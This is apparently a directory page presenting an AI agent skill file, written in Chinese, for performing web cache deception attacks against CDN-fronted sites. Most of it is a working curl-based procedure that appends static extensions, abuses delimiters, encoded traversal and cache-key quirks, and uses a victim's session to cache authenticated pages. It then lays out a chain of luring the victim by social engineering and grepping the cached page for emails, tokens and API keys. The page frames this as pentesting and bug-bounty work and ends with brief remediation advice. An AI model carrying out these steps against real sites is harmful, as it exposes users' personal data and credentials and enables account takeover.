brainstorming
brainstorming
You MUST use this before any creative work - creating features, building components, adding functionality, modifying behavior, or planning anything new, in software or out of it (a talk, a business, a renovation).
スキルを探す
開発・技術 · SKILL.md
performing-web-cache-deception-attack
performing-web-cache-deception-attack通过利用 CDN 缓存层与源服务器之间的路径规范化差异，执行 Web 缓存欺骗攻击，从而缓存并获取敏感的已认证内容。
Independent GitHub snapshot · Automated classification · Original documentation governs
スキルの説明
GitHubname: performing-web-cache-deception-attack description: 通过利用 CDN 缓存层与源服务器之间的路径规范化差异，执行 Web 缓存欺骗攻击，从而缓存并获取敏感的已认证内容。 domain: cybersecurity subdomain: web-application-security tags: [web-cache-deception, cdn-attack, cache-poisoning, path-normalization, cloudflare, cache-key, static-resource] version: "1.0" author: mahipal license: Apache-2.0
执行 Web 缓存欺骗攻击（Performing Web Cache Deception Attack）
适用场景
- 测试位于 CDN 或反向代理（Cloudflare、Akamai、Varnish、Nginx）之后的应用程序时
- 评估已认证页面的缓存行为时
- 评估缓存层与源服务器之间的路径规范化差异时
- 在具有激进缓存策略的应用程序上进行漏洞赏金猎人工作时
- 测试通过缓存层错误配置导致的敏感数据泄露时
前置条件
- 了解 HTTP 缓存机制（Cache-Control、Vary、Age 头部）
- 熟悉 CDN 路径规范化和缓存键构造方式
- Burp Suite（用于拦截和构造请求）
- 两个浏览器会话（已认证的受害者和未认证的攻击者）
- 了解不同技术栈中 URL 路径解析的差异
- 熟悉常见 CDN 平台（Cloudflare、Akamai、Fastly、AWS CloudFront）
工作流程
步骤 1 — 识别缓存层和缓存行为
# 确认是否存在缓存层
curl -I http://target.com/account/profile
# 关注：X-Cache、CF-Cache-Status、Age、Via、X-Varnish 头部
# 检查静态扩展名的缓存规则
curl -I "http://target.com/static/style.css"
# 关注：X-Cache: HIT、CF-Cache-Status: HIT、Age: >0
# 识别哪些扩展名会被缓存
for ext in css js png jpg gif svg ico woff woff2 pdf; do
echo -n "$ext: "
curl -sI "http://target.com/test.$ext" | grep -i "x-cache\|cf-cache"
done
步骤 2 — 测试基于路径的缓存欺骗
# 经典 Web 缓存欺骗：向动态 URL 追加静态扩展名
# 受害者访问：http://target.com/account/profile/nonexistent.css
# 若源服务器返回个人资料页面，且 CDN 基于 .css 扩展名对其进行缓存：
# 步骤 1：以受害者身份（已认证），访问：
curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/anything.css"
# 步骤 2：以攻击者身份（未认证），请求相同 URL：
curl "http://target.com/account/profile/anything.css"
# 若返回受害者的个人资料数据，则缓存欺骗攻击已确认
# 测试各种扩展名
for ext in css js png jpg svg ico woff2; do
curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/x.$ext" -o /dev/null
sleep 2
echo -n "$ext: "
curl -s "http://target.com/account/profile/x.$ext" | head -c 200
echo
done
步骤 3 — 利用分隔符差异
# 使用 CDN 和源服务器解析方式不同的路径分隔符
# 分号分隔符（CDN 忽略，源服务器处理）
curl -b "session=VICTIM" "http://target.com/account/profile;anything.css"
# 编码字符
curl -b "session=VICTIM" "http://target.com/account/profile%2Fstatic.css"
curl -b "session=VICTIM" "http://target.com/account/profile%3Bstyle.css"
# 空字节注入
curl -b "session=VICTIM" "http://target.com/account/profile%00.css"
# 片段标识符滥用
curl -b "session=VICTIM" "http://target.com/account/profile%23.css"
# 点路径段规范化
curl -b "session=VICTIM" "http://target.com/static/..%2Faccount/profile"
步骤 4 — 测试路径规范化差异
# 路径遍历规范化差异
# CDN 规范化：/account/profile/../static/x.css -> /static/x.css（被缓存）
# 源服务器看到：/account/profile（返回动态页面）
curl -b "session=VICTIM" "http://target.com/static/../account/profile"
# 若 CDN 与源服务器规范化方式不同，可能将其缓存为 /account/profile
# 编码路径遍历
curl -b "session=VICTIM" "http://target.com/static/..%2faccount/profile"
# 大小写敏感性差异
curl -b "session=VICTIM" "http://target.com/account/profile/X.CSS"
# 双重编码路径
curl -b "session=VICTIM" "http://target.com/account/profile/%252e%252e/static.css"
步骤 5 — 利用缓存键操控
# 识别缓存键组成部分
# CDN 可能使用：协议 + 主机 + 路径（不含查询字符串）
# 测试查询字符串是否影响缓存
curl -b "session=VICTIM" "http://target.com/account/profile?cachebuster=123.css"
# 测试 CDN 使用完整路径还是规范化路径作为缓存键
curl -b "session=VICTIM" "http://target.com/account/profile/./style.css"
curl "http://target.com/account/profile/./style.css" # 检查是否被缓存
# 基于头部的缓存键操控
curl -b "session=VICTIM" -H "X-Original-URL: /account/profile" \
"http://target.com/static/cached.css"
步骤 6 — 验证并记录攻击
# 完整攻击链：
# 1. 构造恶意 URL：http://target.com/account/profile/x.css
# 2. 将 URL 发送给受害者（通过社会工程学、邮件等）
# 3. 受害者在已认证状态下点击链接
# 4. CDN 缓存已认证的响应
# 5. 攻击者以未认证状态请求相同 URL
# 6. CDN 将缓存的已认证内容提供给攻击者
# 验证缓存状态
curl -I "http://target.com/account/profile/x.css"
# 确认：X-Cache: HIT 或 CF-Cache-Status: HIT
# 检查暴露的敏感数据
curl -s "http://target.com/account/profile/x.css" | grep -i "email\|name\|token\|api_key\|ssn"
核心概念
| 概念 | 定义 |
|---|---|
| 缓存欺骗（Cache Deception） | 欺骗 CDN 将已认证的动态内容作为静态资源进行缓存 |
| 路径规范化（Path Normalization） | CDN 与源服务器对路径段（../、;、编码字符）的不同解析方式 |
| 缓存键（Cache Key） | CDN 用于存取缓存响应的标识符（通常为 URL 路径） |
| 静态扩展名技巧（Static Extension Trick） | 向动态 URL 追加 .css/.js/.png 以触发缓存行为 |
| 分隔符差异（Delimiter Discrepancy） | 缓存层与源服务器对 ;、?、# 字符的不同解释 |
| 缓存投毒 vs 缓存欺骗（Cache Poisoning vs Deception） | 投毒影响所有用户的缓存；欺骗缓存特定受害者的数据 |
| Vary 头部（Vary Header） | 控制哪些请求属性影响缓存键的 HTTP 头部 |
工具与系统
| 工具 | 用途 |
|---|---|
| Burp Suite | HTTP 代理，用于构造缓存欺骗请求 |
| curl | 命令行测试缓存行为和响应头部 |
| Web Cache Vulnerability Scanner | 自动检测缓存欺骗/投毒的工具 |
| Param Miner | Burp 扩展，用于发现未纳入缓存键的参数 |
| Cloudflare Diagnostics | 分析 CF-Cache-Status 和 cf-ray 头部 |
| Varnish CLI | 直接检查基于 Varnish 的缓存配置 |
常见场景
- 个人资料数据窃取 — 通过向个人资料 URL 追加 .css 扩展名，缓存含有 PII（邮箱、地址、电话）的已认证用户个人资料页面
- API Token 泄露 — 通过 CDN 路径操控，缓存显示 token 和密钥的 API 控制台页面
- 账户接管 — 缓存包含 session token 或 CSRF token 的页面，利用窃取的 token 实施账户接管
- 金融数据泄露 — 缓存显示账户余额和交易记录的银行或支付页面
- 管理后台缓存 — 通过 CDN 上基于分隔符的路径混淆，缓存管理后台页面
输出格式
## Web 缓存欺骗报告
- **目标**：http://target.com
- **CDN**：Cloudflare
- **漏洞**：通过追加静态扩展名实现基于路径的缓存欺骗
### 缓存行为分析
| 扩展名 | 是否被缓存 | Cache-Control | TTL |
|-----------|--------|---------------|-----|
| .css | 是 | public, max-age=86400 | 24h |
| .js | 是 | public, max-age=86400 | 24h |
| .png | 是 | public, max-age=604800 | 7d |
### 利用结果
| 受害者 URL | 缓存数据 | 敏感字段 |
|-----------|-------------|-----------------|
| /account/profile/x.css | 完整个人资料页面 | 邮箱、姓名、API Key |
| /account/settings/x.js | 设置页面 | 双因素认证备用码 |
### 修复建议
- 配置 CDN 对动态页面遵守 Cache-Control: no-store
- 在已认证端点实施 Vary: Cookie 头部
- 使用基于路径的路由规则，拒绝非预期扩展名
- 在 CDN 与源服务器之间启用一致的路径规范化